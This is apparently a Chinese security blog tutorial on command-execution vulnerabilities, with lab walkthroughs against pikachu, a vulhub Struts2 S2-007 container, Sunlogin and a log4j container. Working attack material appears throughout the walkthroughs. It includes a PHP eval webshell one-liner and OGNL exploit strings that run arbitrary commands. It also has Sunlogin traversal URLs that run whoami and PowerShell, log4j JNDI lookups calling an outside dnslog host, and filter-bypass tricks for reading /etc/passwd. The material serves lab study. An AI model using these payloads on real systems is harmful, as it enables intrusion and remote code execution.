Web渗透-命令执行漏洞及常见靶场探测实战

news2024/11/15 15:35:16

一、概述

命令执行(RCE):应用有时需要调用一些执行系统命令的函数,如php中的system,exec,shell exec,passthru,popen,proc popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

二、利用条件

1 应用调用执行系统命令的函数
2 将用户输入作为系统精灵的参数拼接到命令行中
3 没有对用户输入进行过滤

三、漏洞分类

1 代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
system("/bin/program--arg $arg");
2 系统的漏洞造成命令注入
比如:bash破壳漏洞 (cve-2014-6271)
3 调用的第三方组件存在代码执行漏洞
如wordpress中用来处理图片的imagemagick组件
java中的命令执行漏洞(struts2/elasticsearchgroovy等)
thinkphp命令执行
4 远程命令执行漏洞(执行的是命令)
指 用户通过浏览器提交执行操作命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。
5 远程代码执行漏洞(执行的是代码)
也叫代码注入漏洞,指用户通过浏览器提交执行恶意脚本代码,执行恶意构造的脚本代码

三、命令执行漏洞攻击

命令连接符(windows)

| || & && 的区别:
& :无论左边还是false还是true,右边都会执行(可以同时执行多条命令)
&&: 左边错误,右边也不执行
| :都为true,只执行右边的命令
|| : 左边为false,才会执行右边的

image.png

命令连接符(Linux)

& : 后台运行( 杀进程命令:kill -s 9)
; :连接符 
&& : 左边的执行成功后,右边的才会执行
|| : 左边错,执行右边

五、PHP执行系统命令内置函数

system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()

六、绕过方式

注意点:在Linux下,passwd是命令,/etc/passwd是文件

情景一:路径被过滤

# 使用通配符
* :多个
? : 一个
# 特殊方式 
# /'

image.png

# 未初始化变量 $a(和空格的作用类似)
cat$a /etc$a/passwd$a

七、pikachu靶场测试

命令执行漏洞

#  输入
| dir 

image.png

代码执行漏洞

# 输入
system("ipconfig");

image.png

代码执行漏洞-写入木马示例

# cmd示例:
echo "<?php @eval($_POST['cmd'])?>;" > a.php

七、漏洞复现-struts2-S2-007

  • 使用靶场:https://vulhub.org/
  • 靶场搭建文档:https://vulhub.org/#/docs/
  • 漏洞复现文档:
 # 原理

参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

当配置了验证规则 `<ActionName>-validation.xml` 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:

```java
(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)

然后配置有 UserAction-validation.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

因为受影响版本为 Struts2 2.0.0 - Struts2 2.2.3,所以这里给出绕过安全配置进行命令执行的 Payload(弹计算器,无法在本项目环境下运行):

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '

Exploit

@rickgray 在原文中只给了弹计算器的POC,我给出执行任意代码的EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

将Exp传入可以利用的输入框(age),得到命令执行结果:

                                                                                                                                                                    25,0-1        88%

- 复现过程:
   - 启动docker容器:`docker-compose  up -d`
   - 查看dock容器启动端口:`docker ps`

![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1719459325055-73add876-ff67-4ef6-91a0-200153007a8c.png#averageHue=%23252220&clientId=u40555cc2-d63d-4&from=paste&height=43&id=u70fd076a&originHeight=43&originWidth=1178&originalType=binary&ratio=1&rotation=0&showTitle=false&size=5407&status=done&style=none&taskId=u3034b2b4-15f5-44c4-96d9-32038db9c5b&title=&width=1178)

   - 查看dock容器启动端口:访问8080端口

![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1719459373868-883f650e-69ef-47f2-b041-30b126737737.png#averageHue=%23d2d1d1&clientId=u40555cc2-d63d-4&from=paste&height=417&id=uc8c5fc8a&originHeight=417&originWidth=726&originalType=binary&ratio=1&rotation=0&showTitle=false&size=19204&status=done&style=none&taskId=ucfc9b5a3-fea3-41b5-ba07-92410a64e34&title=&width=726)

   - 传递文档中的参数编码并抓包
   - <br />
```shell
# url编码网址:https://www.qianbo.com.cn/Tool/Url-Encode.html
# 源 
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

#编码后结果
'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream()))%20%2B%20'

image.png

  • 结果:

image.png

七、向日葵漏洞

版本:11.0.0.33162
启动向日葵后会启动一个4万以上的端口,通过nmap可以扫描出。
获取cookie网址:ip:端口cgi-bin/rpc?action=verify-haras(verify_string:参数值)
#注入:
http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%26c:%26%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fwhoami
或
http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami

请求包Cookie格式:
Cookie:CID=verify_string参数值

八、log4j靶场检测

靶场搭建

# 拉取容器
docker pull vulfocus/log4j2-rce-2021-12-09
# 启动
docker run -tid -p 8080:8080  vulfocus/log4j2-rce-2021-12-09
# 查看状态
docker ps

image.png
image.png

检测漏洞

# url编码网址:https://www.qianbo.com.cn/Tool/Url-Encode.html
命令:${jndi:ldap://域名/exp}
# 在http://www.dnslog.cn/准备一个随机url
http://varin.cn:8080/
# 步骤:
点击?????后在url添加
http://varin.cn:8080/hello?payload=${jndi:ldap://xl4nrl.dnslog.cn/exp}
# 将此进行url编码:${jndi:ldap://xl4nrl.dnslog.cn/exp}
结果为:%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D
# 重新拼接后并访问:
http://varin.cn:8080/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D


image.png
访问后结果:
有回显,存在漏洞
image.png

扩展

  • 工具下载
# 工具:JNDI-Injection-Exploit v1.0
# 下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
# kali 下载:
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1868759.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Open AI不能用了,国产大模型疯狂整活

行业开启新一轮竞争。 国产大模型公司集体出手 来活了&#xff0c;国内AI大模型市场又要热闹一阵了。 近日&#xff0c;市场消息称&#xff0c;Open AI在其官方邮件表示&#xff0c;**从7月9日开始&#xff0c;将采取额外措施阻止来自非支持国家和地区的API&#xff08;应用程…

SyntaxError: Unexpected token ‘<‘ (at chunk-vendors.fb93d34e.js:1:1)打包后页面白屏vue

本地运行一切正常&#xff0c;打包到线上&#xff0c;页面一篇空白。我确定输入路径正确。。。 控制台报错&#xff0c;我就开始百度&#xff0c;有的说清空缓存就行了&#xff0c;但我清空了还是这样。。。 然后我就去排查原因。看到页面请求js&#xff0c;但是请求的好像有点…

气膜体育馆对高度的要求—轻空间

在现代体育场馆的建设中&#xff0c;气膜体育馆以其独特的优势&#xff0c;逐渐成为人们关注的焦点。不同于传统的钢筋混凝土结构&#xff0c;气膜体育馆以其轻盈、灵活、环保的特点&#xff0c;为人们带来了全新的体育体验。在设计与建设气膜体育馆时&#xff0c;高度是一个关…

AI数据分析007:根据Excel表格数据绘制柱形图

文章目录 一、介绍二、输入内容三、输出内容一、介绍 将Excel文件中2013年至2019年间线上图书的销售额,以条形图的形式呈现,每个条形的高度代表相应年份的销售额,同时在每个条形上方标注具体的销售额数值 二、输入内容 在deepseek中输入提示词: 你是一个Python编程专家,…

线性代数|机器学习-P16矩阵A的导数

文章目录 1. 概述2. 求 d A − 1 ( t ) d t \frac{\mathrm{d}A^{-1}(t)}{\mathrm{d}t} dtdA−1(t)​3. 求 d λ ( t ) d t \frac{\mathrm{d}\lambda(t)}{\mathrm{d}t} dtdλ(t)​3.1 A 和 A T A^T AT有相同的特征值3.2 特征向量单位化3.3 求 λ ( t ) \lambda(t) λ(t) 4. 交替…

手持小风扇哪个牌子比较好?五大手持小风扇品牌推荐

随着夏季的到来&#xff0c;气温日益升高。除了空调&#xff0c;各式各样的小风扇成为当下年轻人的热门宠儿。但是市面上的种类比较多&#xff0c;很多人都不知道该怎么选择&#xff0c;因为我也是买过很多产品了&#xff0c;收获了一些经验&#xff0c;接下来就把我觉得比较好…

大模型们拿着锤子找钉钉

今年的大模型赛道&#xff0c;看不见硝烟&#xff0c;却是一个白热化的战场。 这背后是对更大场景、更大规模用户入口和先发优势的争夺。在AGI尚未到来的当下&#xff0c;行业有一个共识&#xff1a;真实场景中的大规模应用&#xff0c;是大模型价值验证和通往AGI的必由之路。…

WPS-Word文档表格分页

一、问题描述 这种情况不好描述 就是像这种表格内容&#xff0c;但是会有离奇的分页的情况。这种情况以前的错误解决办法就是不断地调整表格的内容以及间隔显得很乱&#xff0c;于是今天去查了解决办法&#xff0c;现在学会了记录一下避免以后忘记了。 二、解决办法 首先记…

一键系统重装教程:电脑重装系统,5个方法轻松恢复电脑

在日常使用电脑的过程中&#xff0c;难免会遇到系统故障、运行缓慢或者病毒感染等问题&#xff0c;重装系统成为解决这些问题的有效途径。然而&#xff0c;对于许多小伙伴来说&#xff0c;电脑重装系统似乎是一项复杂且耗时的任务。其实&#xff0c;只要掌握了正确的方法&#…

什么是港股通?港股通碎股如何进行交易佣金最低万0.8?

港股通是一种投资渠道&#xff0c;它允许符合条件的内地投资者通过内地的证券账户&#xff0c;间接地买卖在香港联合交易所上市的股票。这一机制是沪港通和深港通计划的一部分&#xff0c;旨在促进内地与香港资本市场的互联互通。 ### 港股通的特点包括&#xff1a; - 交易范…

AI大模型会有意识的出千吗?

1. 引言 1.1 研究背景&#xff0c;AI系统中的规范游戏问题 在人工智能(AI)系统的发展过程中&#xff0c;规范游戏(specification gaming)一直是一个令研究者们头疼的问题。规范游戏指的是AI系统学习到一些意想不到的行为&#xff0c;这些行为虽然能够获得高奖励&#xff0c;但…

上班族真的有必要买智能猫砂盆吗?解放双手刻不容缓!

养猫家庭真是出不了一点远门&#xff0c;但凡外出的时间久了&#xff0c;家里的猫屎就堆积成山&#xff0c;不及时铲掉的话&#xff0c;回来一进门就能在猫砂盆中挖出满满当当的“宝藏”&#xff0c;仔细一闻还能闻到空气中散发的阵阵“清香”。忍无可忍的我最后借助科技的力量…

浅谈逻辑控制器之随机控制器

浅谈逻辑控制器之随机控制器 随机控制器(Random Controller)是众多逻辑控制器中的一种&#xff0c;它为测试脚本引入了随机性&#xff0c;提高了模拟真实用户行为的灵活性。 随机控制器的功能 随机控制器的作用在于从其直接子元素&#xff08;通常是采样器&#xff09;中随机…

“ONLYOFFICE 8.1版本评测:功能更强大,用户体验更佳”

最新版本的在线编辑器已经发布 ONLYOFFICE在线编辑器的最新版本8.1已经发布&#xff0c;整个套件带来了30多个新功能和432个bug修复。这个强大的文档编辑器支持处理文本文档、电子表格、演示文稿、可填写的表单和PDF&#xff0c;并允许多人在线协作&#xff0c;同时支持AI集成…

火山引擎ByteHouse:新一代云数仓必不可少的五大核心能力

从数据库领域的发展历程来看&#xff0c;分析型数据库已有 40 多年的发展历史&#xff0c;与数据库基本同时代。从OLTP 和 OLAP 的分支来看&#xff0c;分析型数据库支持了海量数据规模下的聚合性分析。尤其是随着移动互联网甚至 AI 等领域的发展&#xff0c;用户画像行为分析的…

C#校园在线投票系统-计算机毕业设计源码10577

摘 要 随着互联网大趋势的到来&#xff0c;社会的方方面面&#xff0c;各行各业都在考虑利用互联网作为媒介将自己的信息更及时有效地推广出去&#xff0c;而其中最好的方式就是建立网络管理系统&#xff0c;并对其进行信息管理。由于现在网络的发达&#xff0c;校园投票通过网…

AI产品经理如何快速接手一个新产品?

我们到一家新的公司&#xff0c;往往都有现成的产品需要你熟悉&#xff0c;这个对你来说就是一个新产品。 又或者说&#xff0c;公司要搭建一个新的项目&#xff0c;让你负责&#xff0c;需要你从0开始去接手&#xff0c;最终去上线&#xff0c;去推广&#xff0c;去盈利&…

项目实训-vue(八)

项目实训-vue&#xff08;八&#xff09; 文章目录 项目实训-vue&#xff08;八&#xff09;1.概述2.医院动态图像轮播3.页面背景板4.总结 1.概述 除了系统首页的轮播图展示之外&#xff0c;还需要在医院的首页展示医院动态部分的信息&#xff0c;展示医院动态是为了确保患者、…

pdf压缩,pdf压缩在线,pdf压缩在线网页版

当我们遇到PDF文件过大&#xff0c;需要压缩其容量大小时&#xff0c;通常是为了更方便地传输、存储或分享这些文件。PDF文件的大小可能因其包含的图像、字体等元素的数量和质量而有所不同。下面&#xff0c;我们将详细介绍压缩PDF容量大小的方法&#xff0c;帮助您轻松实现文件…

MySQL详细介绍:开源关系数据库管理系统的魅力

学习总结 1、掌握 JAVA入门到进阶知识(持续写作中……&#xff09; 2、学会Oracle数据库入门到入土用法(创作中……&#xff09; 3、手把手教你开发炫酷的vbs脚本制作(完善中……&#xff09; 4、牛逼哄哄的 IDEA编程利器技巧(编写中……&#xff09; 5、面经吐血整理的 面试技…